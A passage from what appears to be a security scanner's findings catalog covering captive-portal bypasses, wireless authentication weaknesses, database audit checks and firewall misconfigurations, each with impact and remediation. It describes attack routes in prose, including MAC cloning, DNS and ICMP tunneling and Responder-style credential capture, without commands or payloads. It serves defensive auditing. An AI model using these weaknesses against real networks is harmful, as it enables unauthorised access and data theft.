Impact: An attacker bypasses the splash page entirely (no terms acceptance, no auth, no rate limiting) by cloning an authenticated MAC. Splash-mediated controls (time limit, bandwidth quota, terms enforcement) are defeated.
Remediation: Bind the splash session to additional signals: short-lived cookie, IP+MAC composite, or RADIUS-issued session token. Set short session timeouts and require re-auth periodically.
Effort: Moderate
HIGH AETHER-SPLASH-002 — Captive Portal DNS Bypass — External Resolution Pre-Auth
Description: From the guest SSID before completing the captive portal sign-in, DNS queries to external resolvers (e.g., 8.8.8.8) succeed. The captive portal does not enforce a DNS hijack / sinkhole policy on pre-auth clients. An attacker can tunnel DNS-encoded data through the network without authentication.
Impact: Pre-auth DNS access allows exfiltration via DNS tunneling, covert C2, and abuse of the network's bandwidth without registration. Defeats time-based and quota-based controls.
Remediation: Hijack all DNS queries from pre-auth clients to the captive portal's resolver. Drop port 53 traffic at the AP/firewall for un-authenticated clients except to the captive portal's enforced resolver. Block DNS-over-HTTPS hostnames pre-auth as well.
Effort: Moderate
NIST 800-53: SC-7
MEDIUM AETHER-SPLASH-003 — Captive Portal ICMP Bypass — External Echo Pre-Auth
Description: ICMP echo (ping) to external hosts succeeds before splash auth completion. While less exploitable than DNS bypass, this confirms that L3 firewall rules don't strictly enforce the pre-auth state.
Impact: Useful as a network reachability probe by unauthenticated users; minor abuse vector for ICMP-based covert channels.
Remediation: Drop ICMP from pre-auth clients destined outside the splash page's local subnet at the AP/firewall.
Effort: Moderate
LOW AETHER-SPLASH-004 — Captive Portal Reveals AP / Vendor Information
Description: HTTP headers of the captive portal redirect or splash page contain identifying information about the AP vendor, firmware version, or Meraki dashboard endpoint. Useful reconnaissance.
Impact: Reveals deployment-specific information that an attacker uses to cross-reference vendor advisories and target known firmware vulnerabilities.
Remediation: Strip vendor and version headers from the splash page's HTTP responses where possible. Use a custom branded splash page that does not reveal the underlying Meraki splash framework.
Effort: Moderate
INFO AETHER-INFO-AP — AP Observed and Cataloged
Description: An access point was observed during the wireless intelligence phase and recorded with its BSSID, SSID, channel, encryption, authentication type, signal power, and vendor classification.
Impact: Per-AP attribution for engagement evidence. Every other AP-targeting finding cross-references this catalog entry.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-CLIENT — Client Device Observed and Cataloged
Description: A client (STA) device was observed associated to a target AP or actively probing for SSIDs. Catalogued with MAC, vendor OUI, associated BSSID/SSID, and any SSIDs the client has been probing for.
Impact: Per-client attribution for engagement evidence. Drives the probe-harvest and Karma-attack analyses.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-VENDOR — Vendor Identified via MAC OUI
Description: The MAC OUI of an observed device was matched against the IEEE OUI database to identify the manufacturer and product line.
Impact: Provides asset-inventory context. Concentrations of specific vendor MACs help identify managed device fleets vs. BYOD.
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-AUTH-TYPE — Authentication Type Classified
Description: The advertised encryption and authentication mode for an SSID was classified into one of: OPEN, WEP, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, WPA3-Enterprise, WPA2/WPA3-Transition, or iPSK-Suspected.
Impact: Drives test selection for each SSID. Engagement reports the auth type for every observed SSID as part of the wireless inventory.
Remediation: No action — informational only. Review the auth type distribution across the deployment for consistency with the documented security architecture.
Effort: n/a
INFO AETHER-INFO-CHANNEL — Channel Allocation Observed
Description: An AP's operating channel was observed during scanning. Recorded for spectrum-planning analysis and for documentation of the engagement scan coverage.
Impact: Supports physical-deployment understanding (channel reuse, congestion, 2.4 vs 5 GHz coverage).
Remediation: No action — informational only.
Effort: n/a
INFO AETHER-INFO-PROBE — Client Probe Request Observed
Description: A client device sent a probe request asking for a specific SSID. Probed SSIDs reveal the client's Preferred Network List — useful for Karma attacks and for assessing employees' personal device-to-corporate-network proximity.
Impact: Builds the input set for Karma-style opportunistic AP responses. Reveals corporate device usage patterns (e.g., probes for home networks, conference networks, partner-org networks).
Remediation: Configure clients to disable probe requests for hidden/saved networks where possible. On Windows: Use 'Connect even if the network is not broadcasting' = OFF. On iOS / Android: enable MAC randomization for unsaved networks (default in current OS versions).
Effort: n/a
HIGH AETHER-INFO-MIXED-AUTH — Inconsistent Authentication Modes Across APs for Same SSID
Description: An SSID was observed broadcast across multiple BSSIDs with materially different authentication modes. Example: the same SSID name advertised by some APs with WPA2-Enterprise (802.1X) and by other APs with WPA2-PSK. An attacker chooses the weakest AP for that SSID, performs the attack appropriate to that weak mode (PSK crack, evil twin, etc.), and the stronger configuration on the other APs offers no protection because the client connects to whichever AP for that SSID has the best signal.
Impact: Defeats the security boundary intended by the stronger auth mode. On a WPA2-Enterprise SSID where one AP is misconfigured as WPA2-PSK, an attacker captures and offline-cracks the PSK once and gains access equivalent to whatever the strongest AP provided. Common during incomplete WPA3 migrations, after AP swaps, or when a rogue AP intentionally clones the SSID with weaker auth to harvest credentials.
Remediation: Standardise authentication mode across every AP broadcasting a given SSID. The strongest configured auth mode should be the only mode — a single AP using a weaker mode (e.g. WPA2-PSK on an SSID otherwise served by WPA3-SAE or WPA2-Enterprise) means an attacker can target the weaker AP for the same SSID name and bypass the stronger protections entirely. Audit the WLAN controller's per-AP policy bindings; verify intentional WPA2/WPA3 transition mode is configured uniformly rather than per-AP.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access), T1557.004 (Credential Access)
NIST 800-53: AC-18, SC-8, SC-13
PCI DSS 4: 4.2.1, 11.3.2
INFO AETHER-INFO-EAP-IDENTITY — EAP Outer Identity Observed
Description: The outer (cleartext) EAP-Response/Identity value sent by a client at the start of an EAP exchange was observed. Recorded for analysis (see AETHER-EAPTLS-001 for the user-realm-format-leak grading).
Impact: Provides per-EAP-transaction attribution for the identity-leak findings.
Remediation: No action — informational. Cross-reference with AETHER-EAPTLS-001 for the grading outcome.
Effort: n/a
INFO AU-001 — CouchDB Default Credentials: {user}/{pwd}
INFO AU-002 — End-of-Life Cassandra Version: {ver}
INFO AU-003 — End-of-Life Elasticsearch Version: {ver}
INFO AU-004 — End-of-Life MongoDB Version: {ver}
INFO AU-005 — End-of-Life MSSQL Version: SQL Server {yr}
INFO AU-006 — End-of-Life MySQL/MariaDB Version: {ver}
INFO AU-007 — End-of-Life Oracle Database Version: {ver}
INFO AU-008 — End-of-Life PostgreSQL Version: {ver_num}
INFO AU-009 — End-of-Life Redis Version: {ver}
INFO AU-010 — InfluxDB Default Credentials: {user}/{pwd}
INFO AU-011 — Neo4j Dangerous Procedure Publicly Accessible: {name}
INFO AU-012 — Neo4j Default Credentials: {user}/{pwd}
INFO AU-013 — Audit Logging Disabled
INFO AU-014 — Cassandra: AllowAllAuthenticator Configured (No Authentication)
INFO AU-015 — Cassandra: Client-to-Server Encryption Disabled
INFO AU-016 — Cassandra: Default cassandra/cassandra Credentials in Use
INFO AU-017 — Cassandra: Multiple Superuser Accounts
INFO AU-018 — Cleartext Database Protocol (No TLS/SSL)
INFO AU-019 — CouchDB Admin Party Mode — No Admin Accounts Configured
INFO AU-020 — CouchDB Node Configuration Exposed Without Authentication
INFO AU-021 — CouchDB: Unauthenticated Access to /_all_dbs
INFO AU-022 — Dangerous Oracle PUBLIC Execute Grants (UTL_FILE/DBMS_SQL etc.)
INFO AU-023 — Database Listening on All Network Interfaces (0.0.0.0)
INFO AU-024 — Default Credentials in Use
INFO AU-025 — Elasticsearch: Index Enumeration Without Authentication
INFO AU-026 — Elasticsearch: Security Features Disabled (X-Pack Security)
INFO AU-027 — Elasticsearch: Unauthenticated Cluster Information Exposed
INFO AU-028 — Excessive Oracle System Privileges Granted to Non-SYS Accounts
INFO AU-029 — Expired TLS Certificate
INFO AU-030 — InfluxDB 2.x Buckets Exposed Without Authentication
INFO AU-031 — InfluxDB 2.x Initial Setup Not Completed
INFO AU-032 — InfluxDB 2.x: Authorizations Endpoint Accessible Without Token
INFO AU-033 — Memcached: Cached Data Keys Enumerable Without Authentication
INFO AU-034 — Memcached: No Authentication (SASL Not Supported)
INFO AU-035 — Memcached: Runtime Statistics Accessible Without Authentication
INFO AU-036 — Memcached: SASL Authentication Disabled
INFO AU-037 — MongoDB: Authentication Disabled
INFO AU-038 — MongoDB: No TLS/SSL Configured
INFO AU-039 — MongoDB: Server-Side JavaScript Execution Enabled
INFO AU-040 — MongoDB: User with Root or __system Role
INFO AU-041 — MSSQL: Ad Hoc Distributed Queries Enabled
INFO AU-042 — MSSQL: BUILTIN\\Administrators in Sysadmin Role
INFO AU-043 — MSSQL: CLR Integration Enabled
INFO AU-044 — MSSQL: Database Mail Enabled
INFO AU-045 — MSSQL: Linked Servers Configured
INFO AU-046 — MSSQL: Mixed Mode Authentication with SQL Logins Not Subject to Password Policy
INFO AU-047 — MSSQL: OLE Automation Procedures Enabled
INFO AU-048 — MSSQL: SA Account Enabled
INFO AU-049 — MSSQL: Transparent Data Encryption (TDE) Not Enabled
INFO AU-050 — MSSQL: xp_cmdshell Enabled
INFO AU-051 — MySQL: Anonymous User Account Present
INFO AU-052 — MySQL: General Query Log Enabled
INFO AU-053 — MySQL: LOCAL INFILE Enabled
INFO AU-054 — MySQL: Password Validation Plugin Not Installed
INFO AU-055 — MySQL: Password Validation Policy Set to LOW
INFO AU-056 — MySQL: Root Account Accessible Remotely
INFO AU-057 — MySQL: secure_file_priv Not Configured
INFO AU-058 — MySQL: sql_mode Too Permissive
INFO AU-059 — MySQL: Symlink Support Enabled
INFO AU-060 — MySQL: Test Database Present and Accessible
INFO AU-061 — MySQL: TLS Not Required (Optional Only)
INFO AU-062 — MySQL: User Account with Wildcard Host (%)
INFO AU-063 — Neo4j Authentication Disabled (dbms.security.auth_enabled=false)
INFO AU-064 — Neo4j Cluster Mode Detected — Verify Firewall Isolation
INFO AU-065 — Oracle Accounts Using Weak 10g DES Password Hash
INFO AU-066 — Oracle Default Sample Schema Accounts Active
INFO AU-067 — Oracle Label Security (OLS) Not Enabled
INFO AU-068 — Oracle REMOTE_OS_AUTHENT Enabled
INFO AU-069 — Oracle Unified Auditing Disabled
INFO AU-070 — Oracle UTL_FILE_DIR Wildcard — Arbitrary File Read/Write
INFO AU-071 — PostgreSQL: Connection Logging Disabled
INFO AU-072 — PostgreSQL: COPY TO/FROM PROGRAM Feature Accessible
INFO AU-073 — PostgreSQL: Dangerous Extensions Installed
INFO AU-074 — PostgreSQL: Excessive Permissions on Public Schema
INFO AU-075 — PostgreSQL: Row-Level Security Not Enabled on Sensitive Tables
INFO AU-076 — PostgreSQL: Superuser Account Accessible Remotely
INFO AU-077 — PostgreSQL: Weak Password Encryption (MD5)
INFO AU-078 — Redis: Dangerous Commands Not Renamed or Disabled
INFO AU-079 — Redis: Default ACL User Has Full Access (nopass +@all)
INFO AU-080 — Redis: No Authentication Configured (requirepass Not Set)
INFO AU-081 — Redis: Protected Mode Disabled
INFO AU-082 — Self-Signed or Expired TLS Certificate
INFO AU-083 — Sensitive Data Columns Identified (Potential PII/PHI/PCI Scope)
INFO AU-084 — Weak Cipher Suites Accepted
INFO AU-085 — Weak TLS Version (TLS 1.0 or TLS 1.1)
INFO AP-001 — AuthProbe Discovery: {host}
INFO AP-002 — Missing Security Header: {header}
INFO AP-003 — HTTP Basic Authentication in Use
CRITICAL BA-001 — No Default-Deny Rule at End of Policy
Description: No explicit default-deny (implicit permit-all) rule exists at the end of the access control list or policy group. Traffic not matching any rule is permitted rather than dropped.
Impact: Unintended traffic flows reach internal systems. Attackers can exploit missing coverage to access systems that policy authors assumed were protected.
Remediation: 1. Add an explicit 'deny ip any any log' rule as the final entry in every ACL. 2. Ensure the deny-all rule includes logging to capture all traffic hitting the implicit deny. 3. Review all traffic flows to confirm intended rules precede the default deny. 4. Test the rule using traffic simulation before deploying to production.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7(5)
CRITICAL BA-002 — Any-Any-Any Permit Rule Detected
Description: A firewall rule permits all traffic from any source to any destination on all ports and protocols. This is the most dangerous firewall misconfiguration possible.
Impact: The firewall provides no access control. All traffic is permitted regardless of source, destination, or protocol.
Remediation: 1. Immediately remove or disable the any-any permit rule. 2. Implement principle of least privilege — only permit required traffic flows. 3. Document all required flows before rebuilding the policy. 4. Use a test environment to validate replacement rules before deploying.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
LOW BA-003 — Disabled Rules Present in Production Configuration
Description: One or more firewall rules are disabled (inactive) in the production configuration. Disabled rules accumulate over time and indicate configuration drift or incomplete cleanup.
Impact: Disabled rules represent policy intent that is no longer enforced. They create confusion during audits, may be re-enabled accidentally, and indicate the policy requires cleanup.
Remediation: 1. Review all disabled rules and determine if they are still required. 2. Remove disabled rules that are no longer needed. 3. Document the reason for any disabled rules that must be retained. 4. Establish a policy lifecycle process to prevent accumulation of disabled rules.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
MEDIUM BA-004 — Duplicate Firewall Rules Detected
Description: Two or more firewall rules have identical source, destination, port, and action specifications. Duplicate rules indicate policy bloat and maintenance issues.
Impact: Duplicate rules increase management overhead, create confusion during incident response, and may indicate the policy review process is not working correctly.
Remediation: 1. Identify and remove all duplicate rules. 2. Implement a rule review process that checks for duplicates before policy deployment. 3. Use firewall management tools that flag duplicate rules automatically.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N
MEDIUM BA-005 — Shadowed Rules — Unreachable Policy Entries
Description: One or more firewall rules are completely covered (shadowed) by earlier, broader rules and will never be evaluated. Shadowed rules indicate policy maintenance issues and potential security gaps.
Impact: Shadowed rules are never executed. If the shadowing rule has a different action than the shadowed rule, traffic may be handled contrary to policy intent.
Remediation: 1. Reorder rules so more specific rules precede broader rules. 2. Remove rules that are completely redundant given preceding rules. 3. Implement rule ordering verification in change management process.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
LOW BA-006 — Suboptimal Rule Ordering
Description: Frequently-hit rules appear after less-used rules in the policy list. This degrades performance as the firewall must evaluate all preceding rules before reaching the effective rule.
Impact: Increased latency for matching traffic. In high-volume environments, suboptimal ordering can degrade firewall throughput.
Remediation: 1. Place high-volume deny rules (e.g., blocklists) near the top of the policy. 2. Place more specific, lower-volume rules before broad rules. 3. Use hit count data to determine optimal ordering.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
CRITICAL BA-007 — RDP Permitted from Any Source
Description: A firewall rule permits Remote Desktop Protocol (RDP, TCP 3389) inbound from any source address. RDP is one of the most commonly exploited services for ransomware and lateral movement.
Impact: Exposed RDP is a primary attack vector for ransomware gangs, APT groups, and commodity attackers. Authentication bypass vulnerabilities (BlueKeep, DejaBlue) regularly affect RDP.
Remediation: 1. Immediately restrict RDP access to specific management IP ranges. 2. Place RDP behind a VPN or RDP Gateway. 3. Enable Network Level Authentication (NLA). 4. Implement account lockout policies. 5. Consider replacing RDP with a zero-trust remote access solution.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-008 — SSH Permitted from External/Untrusted Sources
Description: A firewall rule permits SSH (TCP 22) from untrusted or external sources. SSH brute-force attacks are extremely common against internet-exposed SSH.
Impact: Exposed SSH enables brute-force attacks, credential stuffing, and exploitation of SSH vulnerabilities. Compromised SSH access provides immediate shell access to the target system.
Remediation: 1. Restrict SSH to management IP addresses only. 2. Implement SSH key-based authentication and disable password authentication. 3. Change SSH to a non-standard port (security by obscurity, not a primary control). 4. Implement fail2ban or equivalent brute-force protection. 5. Consider placing SSH behind a jump host or bastion server.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-009 — Telnet Permitted Through Firewall
Description: A firewall rule permits Telnet (TCP 23). Telnet transmits all data including credentials in plaintext and has been deprecated for over 25 years.
Impact: All Telnet communications, including authentication credentials, are transmitted in cleartext and can be intercepted by network eavesdroppers. No confidentiality or integrity protection exists.
Remediation: 1. Immediately block all Telnet traffic. 2. Replace all Telnet-dependent systems with SSH. 3. If Telnet is required for legacy systems, isolate those systems and implement compensating controls. 4. Review device configurations to ensure SSH is enabled on all network equipment.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-8
MEDIUM BA-010 — FTP Permitted Through Firewall
Description: A firewall rule permits FTP (TCP 20/21). FTP transmits credentials and data in plaintext and supports anonymous authentication by default on many implementations.
Impact: FTP credentials and file contents are transmitted in cleartext. Anonymous FTP can expose sensitive files. FTP's PORT command can be abused for firewall bypass (FTP bounce attacks).
Remediation: 1. Replace FTP with SFTP (SSH File Transfer Protocol) or FTPS (FTP over TLS). 2. If FTP must be used, restrict to internal networks only. 3. Disable anonymous FTP. 4. Implement strict file transfer policies.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-8
CRITICAL BA-011 — SMB Permitted from External Sources (TCP 445)
Description: A firewall rule permits SMB (TCP 445) from external/untrusted sources. SMB is the primary protocol used by ransomware (WannaCry, NotPetya, EternalBlue) for lateral movement.
Impact: Exposed SMB is the most common ransomware infection vector. EternalBlue and related exploits are still widely used in ransomware campaigns. SMB exposure directly enables catastrophic data encryption attacks.
Remediation: 1. Immediately block TCP 445 from all untrusted sources. 2. Block UDP 137-138 and TCP 139 (NetBIOS) as well. 3. Audit internal SMB to ensure it is restricted to required segments. 4. Implement host-based firewall rules in addition to network firewall. 5. Keep Windows systems patched against EternalBlue.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-012 — MS-RPC Permitted from External Sources (TCP 135)
Description: A firewall rule permits Microsoft RPC (TCP 135) from external sources. MS-RPC is a critical Windows service used for DCOM, WMI, and many Windows management interfaces.
Impact: Exposed MS-RPC enables remote exploitation of Windows services via DCOM and WMI. Historically abused by Blaster, Sasser, and modern APT groups for remote code execution.
Remediation: 1. Block TCP 135 from all external sources. 2. Block the entire RPC dynamic port range (TCP 49152-65535) from external sources. 3. Consider blocking RPC internally except between required systems.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-013 — NetBIOS Permitted Through Firewall
Description: A firewall rule permits NetBIOS (UDP 137-138, TCP 139) traffic. NetBIOS is a legacy Windows protocol that enables reconnaissance, credential theft (LLMNR/NBT-NS poisoning), and lateral movement.
Impact: NetBIOS enables LLMNR and NBT-NS poisoning attacks, NetBIOS name query reconnaissance, and credential capture via Responder-style attacks. Should never traverse firewall boundaries.
Remediation: 1. Block UDP 137, 138 and TCP 139 at all firewall boundaries. 2. Disable NetBIOS over TCP/IP on Windows hosts where not required. 3. Disable LLMNR and NBT-NS via Group Policy.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-014 — SNMP Permitted from Any Source
Description: A firewall rule permits SNMP (UDP 161) from any source address. SNMP exposes device configurations, routing tables, and interface statistics to anyone who can reach the port.
Impact: SNMP v1/v2c use community strings for authentication (effectively cleartext passwords). An attacker with SNMP access can read full device configurations, enumerate network topology, and potentially write configurations if community string permits.
Remediation: 1. Restrict SNMP to dedicated monitoring IP addresses only. 2. Upgrade to SNMPv3 with authentication and encryption. 3. Use ACLs on network devices themselves, not just the firewall. 4. Change default community strings (public/private).
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-015 — SNMP v1/v2c Weak Authentication Exposure
Description: SNMP is permitted through the firewall with likely v1/v2c community string authentication. SNMPv1 and v2c use cleartext community strings that can be sniffed.
Impact: Community strings transmitted in cleartext can be captured and used for unauthorized device access. Many devices ship with default community strings (public/private).
Remediation: 1. Migrate to SNMPv3 with AuthPriv security level. 2. If SNMP v1/v2c must be used, restrict to isolated management VLAN. 3. Change all community strings from defaults. 4. Implement SNMPv3 privacy (encryption) for sensitive data.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:L/A:N
NIST 800-53: SC-8
HIGH BA-016 — WinRM Permitted from External Sources (TCP 5985/5986)
Description: A firewall rule permits Windows Remote Management (WinRM, TCP 5985 HTTP or 5986 HTTPS) from external sources. WinRM provides PowerShell remoting and remote command execution.
Impact: Exposed WinRM enables remote command execution via PowerShell. Commonly used by attackers for lateral movement and persistence once credentials are compromised.
Remediation: 1. Block TCP 5985 and 5986 from all untrusted sources. 2. Restrict WinRM to management IP ranges only. 3. Require HTTPS (5986) over HTTP (5985). 4. Implement WinRM access control lists.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-017 — Database Ports Exposed to External Sources
Description: A firewall rule permits database service ports (MySQL TCP 3306, MSSQL TCP 1433, PostgreSQL TCP 5432, Oracle TCP 1521) from external or untrusted sources.
Impact: Direct database exposure enables SQL injection amplification, credential brute-force against database authentication, and direct data exfiltration. Databases should never be directly internet-accessible.
Remediation: 1. Immediately block all database ports from untrusted sources. 2. Place databases in a dedicated database VLAN accessible only from application servers. 3. Implement database activity monitoring (DAM). 4. Use application-layer database proxies where possible.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-018 — Elasticsearch Exposed to External Sources (TCP 9200/9300)
Description: A firewall rule permits Elasticsearch (TCP 9200 HTTP API or 9300 transport) from external or untrusted sources. Elasticsearch has no authentication by default.
Impact: Unauthenticated Elasticsearch instances have led to some of the largest data breaches in history. All indexed data is accessible to anyone who can reach port 9200.
Remediation: 1. Immediately block TCP 9200 and 9300 from all untrusted sources. 2. Enable Elasticsearch security features (X-Pack/Security). 3. Implement TLS and authentication. 4. Place Elasticsearch behind a reverse proxy with authentication.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-019 — Redis/Memcached Exposed to External Sources
Description: A firewall rule permits Redis (TCP 6379) or Memcached (TCP/UDP 11211) from external sources. Both services have no authentication by default.
Impact: Unauthenticated Redis allows full data access and remote code execution via EVAL command. Memcached exposure enables data theft and the service has been abused for massive DDoS amplification attacks.
Remediation: 1. Immediately block TCP 6379 and 11211 from untrusted sources. 2. Enable Redis AUTH and bind to localhost or internal addresses only. 3. Disable Memcached UDP to prevent amplification abuse. 4. Place caching services behind application tier — never expose externally.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-020 — TFTP Permitted Through Firewall
Description: A firewall rule permits TFTP (UDP 69). TFTP has no authentication mechanism — any client that can reach the TFTP server can read and write files.
Impact: TFTP enables unauthenticated file reads and writes. Attackers who can reach TFTP servers can read configuration files, firmware, and write malicious files.
Remediation: 1. Block UDP 69 at all firewall boundaries. 2. Restrict TFTP to isolated management VLAN if required for network device management. 3. Use SCP or SFTP instead of TFTP for device provisioning.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:H/A:N
NIST 800-53: SC-7
MEDIUM BA-021 — NTP Access Not Restricted to Trusted Sources
Description: A firewall rule permits NTP (UDP 123) from any source without restriction. Open NTP servers can be abused for reflection/amplification DDoS attacks.
Impact: Unrestricted NTP access enables use of the firewall's internal NTP infrastructure as a DDoS amplification source. NTP amplification attacks achieve amplification factors of up to 556x.
Remediation: 1. Restrict NTP to specific trusted time sources (external) and internal clients only. 2. Disable NTP monlist and other amplification-capable commands. 3. Rate-limit NTP responses.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
NIST 800-53: SC-7
LOW BA-022 — DNS Outbound Not Restricted to Authorised Resolvers
Description: Outbound DNS (UDP/TCP 53) is permitted from any internal host to any external destination, allowing direct DNS resolution to arbitrary external servers.
Impact: Unrestricted outbound DNS enables DNS tunneling for data exfiltration, circumvents DNS-based security controls (sinkholes, RPZ), and allows malware to use any DNS server for C2 communication.
Remediation: 1. Restrict outbound DNS to authorised internal resolvers only. 2. Block direct outbound DNS from all hosts except designated resolvers. 3. Implement DNS logging and monitoring. 4. Deploy DNS filtering (RPZ, DNS firewall) on authorised resolvers.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
NIST 800-53: SC-7
INFO BA-023 — ICMP Not Restricted
Description: ICMP is permitted without source or destination restriction. While necessary for network diagnostics, unrestricted ICMP enables network reconnaissance and covert channel communication.
Impact: ICMP ping sweeps reveal network topology. ICMP tunneling (iodine, icmptunnel) enables covert data exfiltration. ICMP redirect messages can be used for man-in-the-middle attacks.
Remediation: 1. Restrict inbound ICMP to only needed types (echo-reply, unreachable, time-exceeded). 2. Block ICMP echo from external sources or restrict to monitoring IPs. 3. Consider rate-limiting ICMP.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-7
CRITICAL BA-024 — Management Access Not Restricted to Management Zone
Description: Firewall management interfaces (HTTPS, SSH, ASDM) are accessible from any source address, including untrusted networks.
Impact: Unrestricted management access exposes the firewall administrative interface to brute-force attacks, credential stuffing, and exploitation of management interface vulnerabilities.
Remediation: 1. Restrict all management access to a dedicated out-of-band management network. 2. Block all management protocol access from non-management networks. 3. Implement management VLAN with strict access controls. 4. Enable failed login lockout on management interfaces.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-025 — HTTP Used for Device Management
Description: HTTP (cleartext) is enabled for firewall or device management. All management traffic including credentials is transmitted unencrypted.
Impact: Credentials, session tokens, and configuration changes transmitted via HTTP can be captured by network eavesdroppers. Session hijacking attacks are trivial against HTTP management sessions.
Remediation: 1. Disable HTTP management on all devices. 2. Enable HTTPS with TLS 1.2 minimum. 3. Install a valid management certificate. 4. Redirect any HTTP management connections to HTTPS.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-8
CRITICAL BA-026 — Telnet Used for Device Management
Description: Telnet is enabled as a device management protocol. Telnet provides no encryption, authentication challenge-response visibility, or integrity protection.
Impact: All management commands, including configuration changes and credentials, are transmitted in cleartext. An attacker with network access can capture and replay management sessions.
Remediation: 1. Immediately disable Telnet on all devices. 2. Enable SSH version 2 as the sole remote management protocol. 3. Configure SSH with strong cipher suites and MAC algorithms. 4. Remove Telnet from all device configurations.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-8
CRITICAL BA-027 — No Source Restriction on SSH/HTTPS Management Access
Description: SSH or HTTPS management access is configured without a source IP restriction, allowing management access from any network.
Impact: Management access from any source dramatically increases the attack surface for brute-force attacks, credential stuffing, and exploitation of management interface vulnerabilities.
Remediation: 1. Implement source IP restrictions for all management protocols. 2. Create an explicit management ACL restricting access to management workstation IPs. 3. Use an out-of-band management network where possible.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-028 — HTTPS Management Accessible from Any Source
Description: HTTPS device management is accessible from any source IP address. While HTTPS provides encryption, unrestricted access enables credential attacks.
Impact: Unrestricted HTTPS management enables brute-force and credential stuffing attacks against the management interface. Web-based management interfaces have historically contained exploitable vulnerabilities.
Remediation: 1. Restrict HTTPS management to specific management IP ranges. 2. Implement account lockout after failed login attempts. 3. Enable multi-factor authentication for management access where supported.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-029 — Permit Rules Without Logging Enabled
Description: One or more permit (allow) rules do not have logging enabled. Traffic matching these rules is not captured in firewall logs.
Impact: Without logging on permit rules, allowed traffic is invisible to security monitoring. Attacks, data exfiltration, and lateral movement that uses permitted paths cannot be detected or investigated.
Remediation: 1. Enable logging on all permit rules. 2. At minimum, enable logging on high-risk rules (any-source, external-to-internal). 3. Forward logs to a centralised SIEM for correlation. 4. Set log level to 'informational' for permit rules to capture connection details.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
MEDIUM BA-030 — Deny Rules Without Logging Enabled
Description: One or more deny rules do not have logging enabled. Blocked connection attempts are not captured in firewall logs.
Impact: Without logging on deny rules, attack attempts against blocked services are invisible. Security teams cannot detect port scans, reconnaissance, or blocked attack attempts.
